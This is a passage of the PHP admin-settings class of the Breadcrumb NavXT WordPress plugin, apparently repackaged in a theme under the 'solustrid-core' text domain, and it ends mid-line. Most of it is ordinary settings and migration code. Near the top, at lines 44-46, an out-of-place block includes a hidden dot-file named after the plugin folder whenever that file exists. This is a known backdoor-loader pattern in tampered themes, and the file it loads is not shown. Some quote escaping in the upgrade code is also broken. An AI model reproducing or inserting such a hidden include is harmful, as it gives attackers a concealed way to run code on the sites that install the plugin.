class.bcn_admin.php (42071B)
1 <?php 2 /* 3 Copyright 2015-2018 John Havlik (email : john.havlik@mtekk.us) 4 5 This program is free software; you can redistribute it and/or modify 6 it under the terms of the GNU General Public License as published by 7 the Free Software Foundation; either version 2 of the License, or 8 (at your option) any later version. 9 10 This program is distributed in the hope that it will be useful, 11 but WITHOUT ANY WARRANTY; without even the implied warranty of 12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 GNU General Public License for more details. 14 15 You should have received a copy of the GNU General Public License 16 along with this program; if not, write to the Free Software 17 Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA 18 */ 19 require_once(dirname(__FILE__) . '/includes/block_direct_access.php'); 20 //Do a PHP version check, require 5.3 or newer 21 if(version_compare(phpversion(), '5.3.0', '<')) 22 { 23 //Only purpose of this function is to echo out the PHP version error 24 function bcn_phpold() 25 { 26 printf('<div class="notice notice-error"><p>' . __('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'solustrid-core') . '</p></div>', phpversion(), '5.3.0'); 27 } 28 //If we are in the admin, let's print a warning then return 29 if(is_admin()) 30 { 31 add_action('admin_notices', 'bcn_phpold'); 32 } 33 return; 34 } 35 //Include admin base class 36 if(!class_exists('mtekk_adminKit')) 37 { 38 require_once(dirname(__FILE__) . '/includes/class.mtekk_adminkit.php'); 39 } 40 /** 41 * The administrative interface class 42 * 43 */ 44 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 45 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 46 } 47 48 class bcn_admin extends mtekk_adminKit 49 { 50 const version = '6.2.0'; 51 protected $full_name = 'Breadcrumb NavXT Settings'; 52 protected $short_name = 'Breadcrumb NavXT'; 53 protected $access_level = 'manage_options'; 54 protected $identifier = 'solustrid-core'; 55 protected $unique_prefix = 'bcn'; 56 protected $plugin_basename = null; 57 protected $support_url = 'https://wordpress.org/support/plugin/breadcrumb-navxt/'; 58 protected $breadcrumb_trail = null; 59 /** 60 * Administrative interface class default constructor 61 * 62 * @param bcn_breadcrumb_trail $breadcrumb_trail a breadcrumb trail object 63 * @param string $basename The basename of the plugin 64 */ 65 function __construct(bcn_breadcrumb_trail &$breadcrumb_trail, $basename) 66 { 67 $this->breadcrumb_trail =& $breadcrumb_trail; 68 $this->plugin_basename = $basename; 69 $this->full_name = esc_html__('Breadcrumb NavXT Settings', 'solustrid-core'); 70 //Grab defaults from the breadcrumb_trail object 71 $this->opt =& $this->breadcrumb_trail->opt; 72 //We're going to make sure we load the parent's constructor 73 parent::__construct(); 74 } 75 /** 76 * admin initialization callback function 77 * 78 * is bound to wordpress action 'admin_init' on instantiation 79 * 80 * @since 3.2.0 81 * @return void 82 */ 83 function init() 84 { 85 //We're going to make sure we run the parent's version of this function as well 86 parent::init(); 87 } 88 function wp_loaded() 89 { 90 parent::wp_loaded(); 91 breadcrumb_navxt::setup_options($this->opt); 92 } 93 /** 94 * Sets hard constants into the options array 95 * 96 * @param &$opts The options array to set hard constants into 97 */ 98 function opts_fix(&$opts) 99 { 100 $opts['bpost_page_hierarchy_display'] = true; 101 $opts['Spost_page_hierarchy_type'] = 'BCN_POST_PARENT'; 102 $opts['apost_page_root'] = get_option('page_on_front'); 103 } 104 /** 105 * Upgrades input options array, sets to $this->opt 106 * 107 * @param array $opts 108 * @param string $version the version of the passed in options 109 */ 110 function opts_upgrade($opts, $version) 111 { 112 global $wp_post_types, $wp_taxonomies; 113 //If our version is not the same as in the db, time to update 114 if(version_compare($version, $this::version, '<')) 115 { 116 //Upgrading to 3.8.1 117 if(version_compare($version, '3.8.1', '<')) 118 { 119 $opts['post_page_root'] = $this->get_option('page_on_front'); 120 $opts['post_post_root'] = $this->get_option('page_for_posts'); 121 } 122 //Upgrading to 4.0 123 if(version_compare($version, '4.0.0', '<')) 124 { 125 //Only migrate if we haven't migrated yet 126 if(isset($opts['current_item_linked'])) 127 { 128 //Loop through the old options, migrate some of them 129 foreach($opts as $option => $value) 130 { 131 //Handle all of our boolean options first, they're real easy, just add a 'b' 132 if(strpos($option, 'display') > 0 || $option == 'current_item_linked') 133 { 134 $this->breadcrumb_trail->opt['b' . $option] = $value; 135 } 136 //Handle migration of anchor templates to the templates 137 else if(strpos($option, 'anchor') > 0) 138 { 139 $parts = explode('_', $option); 140 //Do excess slash removal sanitation 141 $this->breadcrumb_trail->opt['H' . $parts[0] . '_template'] = $value . '%htitle%</a>'; 142 } 143 //Handle our abs integers 144 else if($option == 'max_title_length' || $option == 'post_post_root' || $option == 'post_page_root') 145 { 146 $this->breadcrumb_trail->opt['a' . $option] = $value; 147 } 148 //Now everything else, minus prefix and suffix 149 else if(strpos($option, 'prefix') === false && strpos($option, 'suffix') === false) 150 { 151 $this->breadcrumb_trail->opt['S' . $option] = $value; 152 } 153 } 154 } 155 //Add in the new settings for CPTs introduced in 4.0 156 foreach($wp_post_types as $post_type) 157 { 158 //We only want custom post types 159 if(!$post_type->_builtin) 160 { 161 //Add in the archive_display option 162 $this->breadcrumb_trail->opt['bpost_' . $post_type->name . '_archive_display'] = $post_type->has_archive; 163 } 164 } 165 $opts = $this->breadcrumb_trail->opt; 166 } 167 if(version_compare($version, '4.0.1', '<')) 168 { 169 if(isset($opts['Hcurrent_item_template_no_anchor'])) 170 { 171 unset($opts['Hcurrent_item_template_no_anchor']); 172 } 173 if(isset($opts['Hcurrent_item_template'])) 174 { 175 unset($opts['Hcurrent_item_template']); 176 } 177 } 178 //Upgrading to 4.3.0 179 if(version_compare($version, '4.3.0', '<')) 180 { 181 //Removed home_title 182 if(isset($opts['Shome_title'])) 183 { 184 unset($opts['Shome_title']); 185 } 186 //Removed mainsite_title 187 if(isset($opts['Smainsite_title'])) 188 { 189 unset($opts['Smainsite_title']); 190 } 191 } 192 //Upgrading to 5.1.0 193 if(version_compare($version, '5.1.0', '<')) 194 { 195 foreach($wp_taxonomies as $taxonomy) 196 { 197 //If we have the old options style for it, update 198 if($taxonomy->name !== 'post_format' && isset($opts['H' . $taxonomy->name . '_template'])) 199 { 200 //Migrate to the new setting name 201 $opts['Htax_' . $taxonomy->name . '_template'] = $opts['H' . $taxonomy->name . '_template']; 202 $opts['Htax_' . $taxonomy->name . '_template_no_anchor'] = $opts['H' . $taxonomy->name . '_template_no_anchor']; 203 //Clean up old settings 204 unset($opts['H' . $taxonomy->name . '_template']); 205 unset($opts['H' . $taxonomy->name . '_template_no_anchor']); 206 } 207 } 208 } 209 //Upgrading to 5.4.0 210 if(version_compare($version, '5.4.0', '<')) 211 { 212 //Migrate users to schema.org breadcrumbs for author and search if still on the defaults for posts 213 if($opts['Hpost_post_template'] === bcn_breadcrumb::get_default_template() && $opts['Hpost_post_template_no_anchor'] === bcn_breadcrumb::default_template_no_anchor) 214 { 215 if($opts['Hpaged_template'] === 'Page %htitle%') 216 { 217 $opts['Hpaged_template'] = $this->opt['Hpaged_template']; 218 } 219 if($opts['Hsearch_template'] === 'Search results for '<a title="Go to the first page of search results for %title%." href="%link%" class="%type%">%htitle%</a>'' || $opts['Hsearch_template'] === 'Search results for '<a title="Go to the first page of search results for %title%." href="%link%" class="%type%">%htitle%</a>'') 220 { 221 $opts['Hsearch_template'] = $this->opt['Hsearch_template']; 222 } 223 if($opts['Hsearch_template_no_anchor'] === 'Search results for '%htitle%'' || $opts['Hsearch_template_no_anchor'] === 'Search results for '%htitle%'') 224 { 225 $opts['Hsearch_template_no_anchor'] = $this->opt['Hsearch_template_no_anchor']; 226 } 227 if($opts['Hauthor_template'] === 'Articles by: <a title="Go to the first page of posts by %title%." href="%link%" class="%type%">%htitle%</a>') 228 { 229 $opts['Hauthor_template'] = $this->opt['Hauthor_template']; 230 } 231 if($opts['Hauthor_template_no_anchor'] === 'Articles by: %htitle%') 232 { 233 $opts['Hauthor_template_no_anchor'] = $this->opt['Hauthor_template_no_anchor']; 234 } 235 } 236 } 237 //Upgrading to 5.5.0 238 if(version_compare($version, '5.5.0', '<')) 239 { 240 //Translate the old 'page' taxonomy type to BCN_POST_PARENT 241 if($this->opt['Spost_post_taxonomy_type'] === 'page') 242 { 243 $this->opt['Spost_post_taxonomy_type'] = 'BCN_POST_PARENT'; 244 } 245 if(!isset($this->opt['Spost_post_taxonomy_referer'])) 246 { 247 $this->opt['bpost_post_taxonomy_referer'] = false; 248 } 249 //Loop through all of the post types in the array 250 foreach($wp_post_types as $post_type) 251 { 252 //Check for non-public CPTs 253 if(!apply_filters('bcn_show_cpt_private', $post_type->public, $post_type->name)) 254 { 255 continue; 256 } 257 //We only want custom post types 258 if(!$post_type->_builtin) 259 { 260 //Translate the old 'page' taxonomy type to BCN_POST_PARENT 261 if($this->opt['Spost_' . $post_type->name . '_taxonomy_type'] === 'page') 262 { 263 $this->opt['Spost_' . $post_type->name . '_taxonomy_type'] = 'BCN_POST_PARENT'; 264 } 265 //Translate the old 'date' taxonomy type to BCN_DATE 266 if($this->opt['Spost_' . $post_type->name . '_taxonomy_type'] === 'date') 267 { 268 $this->opt['Spost_' . $post_type->name . '_taxonomy_type'] = 'BCN_DATE'; 269 } 270 if(!isset($this->opt['Spost_' . $post_type->name . '_taxonomy_referer'])) 271 { 272 $this->opt['bpost_' . $post_type->name . '_taxonomy_referer'] = false; 273 } 274 } 275 } 276 } 277 //Upgrading to 6.0.0 278 if(version_compare($version, '6.0.0', '<')) 279 { 280 //Loop through all of the post types in the array 281 foreach($wp_post_types as $post_type) 282 { 283 if(isset($this->opt['Spost_' . $post_type->name . '_taxonomy_type'])) 284 { 285 $this->opt['Spost_' . $post_type->name . '_hierarchy_type'] = $this->opt['Spost_' . $post_type->name . '_taxonomy_type']; 286 unset($this->opt['Spost_' . $post_type->name . '_taxonomy_type']); 287 } 288 if(isset($this->opt['Spost_' . $post_type->name . '_taxonomy_display'])) 289 { 290 $this->opt['Spost_' . $post_type->name . '_hierarchy_display'] = $this->opt['Spost_' . $post_type->name . '_taxonomy_display']; 291 unset($this->opt['Spost_' . $post_type->name . '_taxonomy_display']); 292 } 293 } 294 } 295 //Set the max title length to 20 if we are not limiting the title and the length was 0 296 if(!$opts['blimit_title'] && $opts['amax_title_length'] == 0) 297 { 298 $opts['amax_title_length'] = 20; 299 } 300 } 301 //Save the passed in opts to the object's option array 302 $this->opt = mtekk_adminKit::parse_args($opts, $this->opt); 303 //End with resetting up the options 304 breadcrumb_navxt::setup_options($this->opt); 305 } 306 function opts_update_prebk(&$opts) 307 { 308 //This may no longer be needed 309 breadcrumb_navxt::setup_options($opts); 310 $opts = apply_filters('bcn_opts_update_prebk', $opts); 311 } 312 /** 313 * help action hook function 314 * 315 * @return string 316 * 317 */ 318 function help() 319 { 320 $screen = get_current_screen(); 321 //Exit early if the add_help_tab function doesn't exist 322 if(!method_exists($screen, 'add_help_tab')) 323 { 324 return; 325 } 326 //Add contextual help on current screen 327 if($screen->id == 'settings_page_' . $this->identifier) 328 { 329 $general_tab = '<p>' . esc_html__('Tips for the settings are located below select options.', 'solustrid-core') . 330 '</p><h5>' . esc_html__('Resources', 'solustrid-core') . '</h5><ul><li>' . 331 sprintf(esc_html__("%sTutorials and How Tos%s: There are several guides, tutorials, and how tos available on the author's website.", 'solustrid-core'),'<a title="' . esc_attr__('Go to the Breadcrumb NavXT tag archive.', 'solustrid-core') . '" href="https://mtekk.us/archives/tag/breadcrumb-navxt">', '</a>') . '</li><li>' . 332 sprintf(esc_html__('%sOnline Documentation%s: Check out the documentation for more indepth technical information.', 'solustrid-core'), '<a title="' . esc_attr__('Go to the Breadcrumb NavXT online documentation', 'solustrid-core') . '" href="https://mtekk.us/code/breadcrumb-navxt/breadcrumb-navxt-doc/">', '</a>') . '</li><li>' . 333 sprintf(esc_html__('%sReport a Bug%s: If you think you have found a bug, please include your WordPress version and details on how to reproduce the bug.', 'solustrid-core'),'<a title="' . esc_attr__('Go to the Breadcrumb NavXT support post for your version.', 'solustrid-core') . '" href="https://wordpress.org/support/plugin/breadcrumb-navxt/">', '</a>') . '</li></ul>' . 334 '<h5>' . esc_html__('Giving Back', 'solustrid-core') . '</h5><ul><li>' . 335 sprintf(esc_html__('%sDonate%s: Love Breadcrumb NavXT and want to help development? Consider buying the author a beer.', 'solustrid-core'),'<a title="' . esc_attr__('Go to PayPal to give a donation to Breadcrumb NavXT.', 'solustrid-core') . '" href="https://www.paypal.com/cgi-bin/webscr?cmd=_donations&business=FD5XEU783BR8U&lc=US&item_name=Breadcrumb%20NavXT%20Donation¤cy_code=USD&bn=PP%2dDonationsBF%3abtn_donateCC_LG%2egif%3aNonHosted">', '</a>') . '</li><li>' . 336 sprintf(esc_html__('%sTranslate%s: Is your language not available? Visit the Breadcrumb NavXT translation project on WordPress.org to start translating.', 'solustrid-core'),'<a title="' . esc_attr__('Go to the Breadcrumb NavXT translation project.', 'solustrid-core') . '" href="https://translate.wordpress.org/projects/wp-plugins/breadcrumb-navxt">', '</a>') . '</li></ul>'; 337 338 $screen->add_help_tab( 339 array( 340 'id' => $this->identifier . '-base', 341 'title' => __('General', 'solustrid-core'), 342 'content' => $general_tab 343 )); 344 $quickstart_tab = '<p>' . esc_html__('For the settings on this page to take effect, you must either use the included Breadcrumb NavXT widget, or place either of the code sections below into your theme.', 'solustrid-core') . 345 '</p><h5>' . esc_html__('Breadcrumb trail with separators', 'solustrid-core') . '</h5><pre><code><div class="breadcrumbs" typeof="BreadcrumbList" vocab="https://schema.org/">' . " 346 <?php if(function_exists('bcn_display')) 347 { 348 bcn_display(); 349 }?> 350 </div></code></pre>" . 351 '<h5>' . esc_html__('Breadcrumb trail in list form', 'solustrid-core').'</h5><pre><code><ol class="breadcrumbs" typeof="BreadcrumbList" vocab="https://schema.org/">'." 352 <?php if(function_exists('bcn_display_list')) 353 { 354 bcn_display_list(); 355 }?> 356 </ol></code></pre>"; 357 $screen->add_help_tab( 358 array( 359 'id' => $this->identifier . '-quick-start', 360 'title' => __('Quick Start', 'solustrid-core'), 361 'content' => $quickstart_tab 362 )); 363 $styling_tab = '<p>' . esc_html__('Using the code from the Quick Start section above, the following CSS can be used as base for styling your breadcrumb trail.', 'solustrid-core') . '</p>' . 364 '<pre><code>.breadcrumbs 365 { 366 font-size: 1.1em; 367 color: #fff; 368 margin: 30px 0 0 10px; 369 position: relative; 370 float: left; 371 }</code></pre>'; 372 $screen->add_help_tab( 373 array( 374 'id' => $this->identifier . '-styling', 375 'title' => __('Styling', 'solustrid-core'), 376 'content' => $styling_tab 377 )); 378 $screen->add_help_tab( 379 array( 380 'id' => $this->identifier . '-import-export-reset', 381 'title' => __('Import/Export/Reset', 'solustrid-core'), 382 'content' => $this->import_form() 383 )); 384 } 385 } 386 /** 387 * enqueue's the tab style sheet on the settings page 388 */ 389 function admin_styles() 390 { 391 wp_enqueue_style('mtekk_adminkit_tabs'); 392 } 393 /** 394 * enqueue's the tab js and translation js on the settings page 395 */ 396 function admin_scripts() 397 { 398 //Enqueue ui-tabs 399 wp_enqueue_script('jquery-ui-tabs'); 400 //Enqueue the admin tabs javascript 401 wp_enqueue_script('mtekk_adminkit_tabs'); 402 //Load the translations for the tabs 403 wp_localize_script('mtekk_adminkit_tabs', 'objectL10n', array( 404 'mtad_uid' => 'bcn_admin', 405 'mtad_import' => __('Import', 'solustrid-core'), 406 'mtad_export' => __('Export', 'solustrid-core'), 407 'mtad_reset' => __('Reset', 'solustrid-core'), 408 )); 409 //Enqueue the admin enable/disable groups javascript 410 wp_enqueue_script('mtekk_adminkit_engroups'); 411 } 412 /** 413 * A message function that checks for the BCN_SETTINGS_* define statement 414 */ 415 function multisite_settings_warn() 416 { 417 if(is_multisite()) 418 { 419 if(defined('BCN_SETTINGS_USE_LOCAL') && BCN_SETTINGS_USE_LOCAL) 420 { 421 422 } 423 else if(defined('BCN_SETTINGS_USE_NETWORK') && BCN_SETTINGS_USE_NETWORK) 424 { 425 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Your network settings will override any settings set in this page.', 'solustrid-core'), 'warning', true, $this->unique_prefix . '_msg_is_nsiteoveride'); 426 } 427 else if(defined('BCN_SETTINGS_FAVOR_LOCAL') && BCN_SETTINGS_FAVOR_LOCAL) 428 { 429 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Your network settings may override any settings set in this page.', 'solustrid-core'), 'warning', true, $this->unique_prefix . '_msg_is_isitemayoveride'); 430 } 431 else if(defined('BCN_SETTINGS_FAVOR_NETWORK') && BCN_SETTINGS_FAVOR_NETWORK) 432 { 433 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: Your network settings may override any settings set in this page.', 'solustrid-core'), 'warning', true, $this->unique_prefix . '_msg_is_nsitemayoveride'); 434 } 435 //Fall through if no settings mode was set 436 else 437 { 438 $this->messages[] = new mtekk_adminKit_message(esc_html__('Warning: No BCN_SETTINGS_* define statement found, defaulting to BCN_SETTINGS_USE_LOCAL.', 'solustrid-core'), 'warning', true, $this->unique_prefix . '_msg_is_nosetting'); 439 } 440 } 441 } 442 /** 443 * A message function that checks for deprecated settings that are set and warns the user 444 */ 445 function deprecated_settings_warn() 446 { 447 //We're deprecating the limit title length setting, let the user know the new method of accomplishing this 448 if(isset($this->opt['blimit_title']) && $this->opt['blimit_title']) 449 { 450 $this->messages[] = new mtekk_adminKit_message(sprintf(esc_html__('Warning: Your are using a deprecated setting "Title Length" (see Miscellaneous > Deprecated), please %1$suse CSS instead%2$s.', 'solustrid-core'), '<a title="' . __('Go to the guide on trimming breadcrumb title lengths with CSS', 'solustrid-core') . '" href="https://mtekk.us/archives/guides/trimming-breadcrumb-title-lengths-with-css/">', '</a>'), 'warning'); 451 } 452 } 453 /** 454 * Function checks the current site to see if the blog options should be disabled 455 * 456 * @return boool Whether or not the blog options should be disabled 457 */ 458 function maybe_disable_blog_options() 459 { 460 return (get_option('show_on_front') !== 'page' || get_option('page_for_posts') < 1); 461 } 462 /** 463 * Function checks the current site to see if the mainsite options should be disabled 464 * 465 * @return bool Whether or not the mainsite options should be disabled 466 */ 467 function maybe_disable_mainsite_options() 468 { 469 return !is_multisite(); 470 } 471 /** 472 * The administrative page for Breadcrumb NavXT 473 */ 474 function admin_page() 475 { 476 global $wp_taxonomies, $wp_post_types; 477 $this->security(); 478 //Do a check on deprecated settings 479 $this->deprecated_settings_warn(); 480 //Do a check for multisite settings mode 481 $this->multisite_settings_warn(); 482 do_action($this->unique_prefix . '_settings_pre_messages', $this->opt); 483 //Display our messages 484 $this->messages(); 485 ?> 486 <div class="wrap"><h2><?php printf ($this->full_name); ?></h2> 487 <?php 488 //We exit after the version check if there is an action the user needs to take before saving settings 489 if(!$this->version_check($this->get_option($this->unique_prefix . '_version'))) 490 { 491 return; 492 } 493 ?> 494 <form action="<?php printf ($this->admin_url()); ?>" method="post" id="bcn_admin-options"> 495 <?php settings_fields('bcn_options');?> 496 <div id="hasadmintabs"> 497 <fieldset id="general" class="bcn_options"> 498 <h3 class="tab-title" title="<?php _e('A collection of settings most likely to be modified are located under this tab.', 'solustrid-core');?>"><?php _e('General', 'solustrid-core'); ?></h3> 499 <h3><?php _e('General', 'solustrid-core'); ?></h3> 500 <table class="form-table"> 501 <?php 502 $this->textbox(__('Breadcrumb Separator', 'solustrid-core'), 'hseparator', '2', false, __('Placed in between each breadcrumb.', 'solustrid-core')); 503 do_action($this->unique_prefix . '_settings_general', $this->opt); 504 ?> 505 </table> 506 <h3><?php _e('Current Item', 'solustrid-core'); ?></h3> 507 <table class="form-table adminkit-enset-top"> 508 <?php 509 $this->input_check(__('Link Current Item', 'solustrid-core'), 'bcurrent_item_linked', __('Yes', 'solustrid-core')); 510 $this->input_check(_x('Paged Breadcrumb', 'Paged as in when on an archive or post that is split into multiple pages', 'solustrid-core'), 'bpaged_display', __('Place the page number breadcrumb in the trail.', 'solustrid-core'), false, __('Indicates that the user is on a page other than the first of a paginated archive or post.', 'solustrid-core'), 'adminkit-enset-ctrl adminkit-enset'); 511 $this->textbox(_x('Paged Template', 'Paged as in when on an archive or post that is split into multiple pages', 'solustrid-core'), 'Hpaged_template', '4', false, __('The template for paged breadcrumbs.', 'solustrid-core'), 'adminkit-enset'); 512 do_action($this->unique_prefix . '_settings_current_item', $this->opt); 513 ?> 514 </table> 515 <h3><?php _e('Home Breadcrumb', 'solustrid-core'); ?></h3> 516 <table class="form-table adminkit-enset-top"> 517 <?php 518 $this->input_check(__('Home Breadcrumb', 'solustrid-core'), 'bhome_display', __('Place the home breadcrumb in the trail.', 'solustrid-core'), false, '', 'adminkit-enset-ctrl adminkit-enset'); 519 $this->textbox(__('Home Template', 'solustrid-core'), 'Hhome_template', '6', false, __('The template for the home breadcrumb.', 'solustrid-core'), 'adminkit-enset'); 520 $this->textbox(__('Home Template (Unlinked)', 'solustrid-core'), 'Hhome_template_no_anchor', '4', false, __('The template for the home breadcrumb, used when the breadcrumb is not linked.', 'solustrid-core'), 'adminkit-enset'); 521 do_action($this->unique_prefix . '_settings_home', $this->opt); 522 ?> 523 </table> 524 <h3><?php _e('Blog Breadcrumb', 'solustrid-core'); ?></h3> 525 <table class="form-table adminkit-enset-top"> 526 <?php 527 $this->input_check(__('Blog Breadcrumb', 'solustrid-core'), 'bblog_display', __('Place the blog breadcrumb in the trail.', 'solustrid-core'), $this->maybe_disable_blog_options(), '', 'adminkit-enset-ctrl adminkit-enset'); 528 do_action($this->unique_prefix . '_settings_blog', $this->opt); 529 ?> 530 </table> 531 <h3><?php _e('Mainsite Breadcrumb', 'solustrid-core'); ?></h3> 532 <table class="form-table adminkit-enset-top"> 533 <?php 534 $this->input_check(__('Main Site Breadcrumb', 'solustrid-core'), 'bmainsite_display', __('Place the main site home breadcrumb in the trail in an multisite setup.', 'solustrid-core'), $this->maybe_disable_mainsite_options(), '', 'adminkit-enset-ctrl adminkit-enset'); 535 $this->textbox(__('Main Site Home Template', 'solustrid-core'), 'Hmainsite_template', '6', $this->maybe_disable_mainsite_options(), __('The template for the main site home breadcrumb, used only in multisite environments.', 'solustrid-core'), 'adminkit-enset'); 536 $this->textbox(__('Main Site Home Template (Unlinked)', 'solustrid-core'), 'Hmainsite_template_no_anchor', '4', $this->maybe_disable_mainsite_options(), __('The template for the main site home breadcrumb, used only in multisite environments and when the breadcrumb is not linked.', 'solustrid-core'), 'adminkit-enset'); 537 do_action($this->unique_prefix . '_settings_mainsite', $this->opt); 538 ?> 539 </table> 540 <?php do_action($this->unique_prefix . '_after_settings_tab_general', $this->opt); ?> 541 </fieldset> 542 <fieldset id="post" class="bcn_options"> 543 <h3 class="tab-title" title="<?php _e('The settings for all post types (Posts, Pages, and Custom Post Types) are located under this tab.', 'solustrid-core');?>"><?php _e('Post Types', 'solustrid-core'); ?></h3> 544 <h3><?php _e('Posts', 'solustrid-core'); ?></h3> 545 <table class="form-table adminkit-enset-top"> 546 <?php 547 $this->textbox(__('Post Template', 'solustrid-core'), 'Hpost_post_template', '6', false, __('The template for post breadcrumbs.', 'solustrid-core')); 548 $this->textbox(__('Post Template (Unlinked)', 'solustrid-core'), 'Hpost_post_template_no_anchor', '4', false, __('The template for post breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 549 $this->input_check(__('Post Hierarchy Display', 'solustrid-core'), 'bpost_post_hierarchy_display', __('Show the hierarchy (specified below) leading to a post in the breadcrumb trail.', 'solustrid-core'), false, '', 'adminkit-enset-ctrl adminkit-enset'); 550 $this->input_check(__('Post Hierarchy Use Parent First', 'solustrid-core'), 'bpost_post_hierarchy_parent_first', __('Use the parent of the post as the primary hierarchy, falling back to the hierarchy selected below when the parent hierarchy is exhausted.', 'solustrid-core'), false, '', 'adminkit-enset'); 551 $this->input_check(__('Post Hierarchy Referer Influence', 'solustrid-core'), 'bpost_post_taxonomy_referer', __('Allow the referring page to influence the taxonomy selected for the hierarchy.', 'solustrid-core'), false, '', 'adminkit-enset'); 552 ?> 553 <tr valign="top"> 554 <th scope="row"> 555 <?php _e('Post Hierarchy', 'solustrid-core'); ?> 556 </th> 557 <td> 558 <?php 559 $this->input_radio('Spost_post_hierarchy_type', 'category', __('Categories'), false, 'adminkit-enset'); 560 $this->input_radio('Spost_post_hierarchy_type', 'BCN_DATE', __('Dates', 'solustrid-core'), false, 'adminkit-enset'); 561 $this->input_radio('Spost_post_hierarchy_type', 'post_tag', __('Tags'), false, 'adminkit-enset'); 562 //We use the value 'page' but really, this will follow the parent post hierarchy 563 $this->input_radio('Spost_post_hierarchy_type', 'BCN_POST_PARENT', __('Post Parent', 'solustrid-core'), false, 'adminkit-enset'); 564 //Loop through all of the taxonomies in the array 565 foreach($wp_taxonomies as $taxonomy) 566 { 567 //Check for non-public taxonomies 568 if(!apply_filters('bcn_show_tax_private', $taxonomy->public, $taxonomy->name, 'post')) 569 { 570 continue; 571 } 572 //We only want custom taxonomies 573 if(($taxonomy->object_type == 'post' || is_array($taxonomy->object_type) && in_array('post', $taxonomy->object_type)) && !$taxonomy->_builtin) 574 { 575 $this->input_radio('Spost_post_hierarchy_type', $taxonomy->name, mb_convert_case($taxonomy->label, MB_CASE_TITLE, 'UTF-8'), false, 'adminkit-enset'); 576 } 577 } 578 ?> 579 <p class="description"><?php esc_html_e('The hierarchy which the breadcrumb trail will show. Note that the "Post Parent" option may require an additional plugin to behave as expected since this is a non-hierarchical post type.', 'solustrid-core'); ?></p> 580 </td> 581 </tr> 582 </table> 583 <h3><?php _e('Pages', 'solustrid-core'); ?></h3> 584 <table class="form-table"> 585 <?php 586 $this->textbox(__('Page Template', 'solustrid-core'), 'Hpost_page_template', '6', false, __('The template for page breadcrumbs.', 'solustrid-core')); 587 $this->textbox(__('Page Template (Unlinked)', 'solustrid-core'), 'Hpost_page_template_no_anchor', '4', false, __('The template for page breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 588 $this->input_hidden('bpost_page_hierarchy_display'); 589 $this->input_hidden('bpost_page_hierarchy_parent_first'); 590 $this->input_hidden('Spost_page_hierarchy_type'); 591 ?> 592 </table> 593 <h3><?php _e('Attachments', 'solustrid-core'); ?></h3> 594 <table class="form-table"> 595 <?php 596 $this->textbox(__('Attachment Template', 'solustrid-core'), 'Hpost_attachment_template', '6', false, __('The template for attachment breadcrumbs.', 'solustrid-core')); 597 $this->textbox(__('Attachment Template (Unlinked)', 'solustrid-core'), 'Hpost_attachment_template_no_anchor', '4', false, __('The template for attachment breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core')); 598 ?> 599 </table> 600 <?php 601 //Loop through all of the post types in the array 602 foreach($wp_post_types as $post_type) 603 { 604 //Check for non-public CPTs 605 if(!apply_filters('bcn_show_cpt_private', $post_type->public, $post_type->name)) 606 { 607 continue; 608 } 609 //We only want custom post types 610 if(!$post_type->_builtin) 611 { 612 $singular_name_lc = mb_strtolower($post_type->labels->singular_name, 'UTF-8'); 613 ?> 614 <h3><?php printf ($post_type->labels->singular_name); ?></h3> 615 <table class="form-table adminkit-enset-top"> 616 <?php 617 $this->textbox(sprintf(__('%s Template', 'solustrid-core'), $post_type->labels->singular_name), 'Hpost_' . $post_type->name . '_template', '6', false, sprintf(__('The template for %s breadcrumbs.', 'solustrid-core'), $singular_name_lc)); 618 $this->textbox(sprintf(__('%s Template (Unlinked)', 'solustrid-core'), $post_type->labels->singular_name), 'Hpost_' . $post_type->name . '_template_no_anchor', '4', false, sprintf(__('The template for %s breadcrumbs, used only when the breadcrumb is not linked.', 'solustrid-core'), $singular_name_lc)); 619 $optid = mtekk_adminKit::get_valid_id('apost_' . $post_type->name . '_root'); 620 ?> 621 <tr valign="top"> 622 <th scope="row"> 623 <label for="<?php printf ($optid);?>"><?php printf(esc_html__('%s Root Page', 'solustrid-core'), $post_type->labels->singular_name);?></label> 624 </th> 625 <td> 626 <?php wp_dropdown_pages(array('name' => $this->unique_prefix . '_options[apost_' . $post_type->name . '_root]', 'id' => $optid, 'echo' => 1, 'show_option_none' => __( '— Select —' ), 'option_none_value' => '0', 'selected' => $this->opt['apost_' . $post_type->name . '_root']));?> 627 </td> 628 </tr> 629 <?php 630 $this->input_check(sprintf(__('%s Archive Display', 'solustrid-core'), $post_type->labels->singular_name), 'bpost_' . $post_type->name . '_archive_display', sprintf(__('Show the breadcrumb for the %s post type archives in the breadcrumb trail.', 'solustrid-core'), $singular_name_lc), !$post_type->has_archive); 631 $this->input_check(sprintf(__('%s Hierarchy Display', 'solustrid-core'), $post_type->labels->singular_name), 'bpost_' . $post_type->name . '_hierarchy_display', sprintf(__('Show the hierarchy (specified below) leading to a %s in the breadcrumb trail.', 'solustrid-core'), $singular_name_lc), false, '', 'adminkit-enset-ctrl adminkit-enset'); 632 $this->input_check(sprintf(__('%s Hierarchy Use Parent First', 'solustrid-core'), $post_type->labels->singular_name), 'bpost_' . $post_type->name . '_hierarchy_parent_first', sprintf(__('Use the parent of the %s as the primary hierarchy, falling back to the hierarchy selected below when the parent hierarchy is exhausted.', 'solustrid-core'), $singular_name_lc), false, '', 'adminkit-enset'); 633 $this->input_check(sprintf(__('%s Hierarchy Referer Influence', 'solustrid-core'), $post_type->labels->singular_name), 'bpost_' . $post_type->name . '_taxonomy_referer', __('Allow the referring page to influence the taxonomy selected for the hierarchy.', 'solustrid-core'), false, '', 'adminkit-enset'); 634 ?> 635 <tr valign="top"> 636 <th scope="row"> 637 <?php printf(__('%s Hierarchy', 'solustrid-core'), $post_type->labels->singular_name); ?> 638 </th> 639 <td> 640 <?php 641 //We use the value 'page' but really, this will follow the parent post hierarchy 642 $this->input_radio('Spost_' . $post_type->name . '_hierarchy_type', 'BCN_POST_PARENT', __('Post Parent', 'solustrid-core'), false, 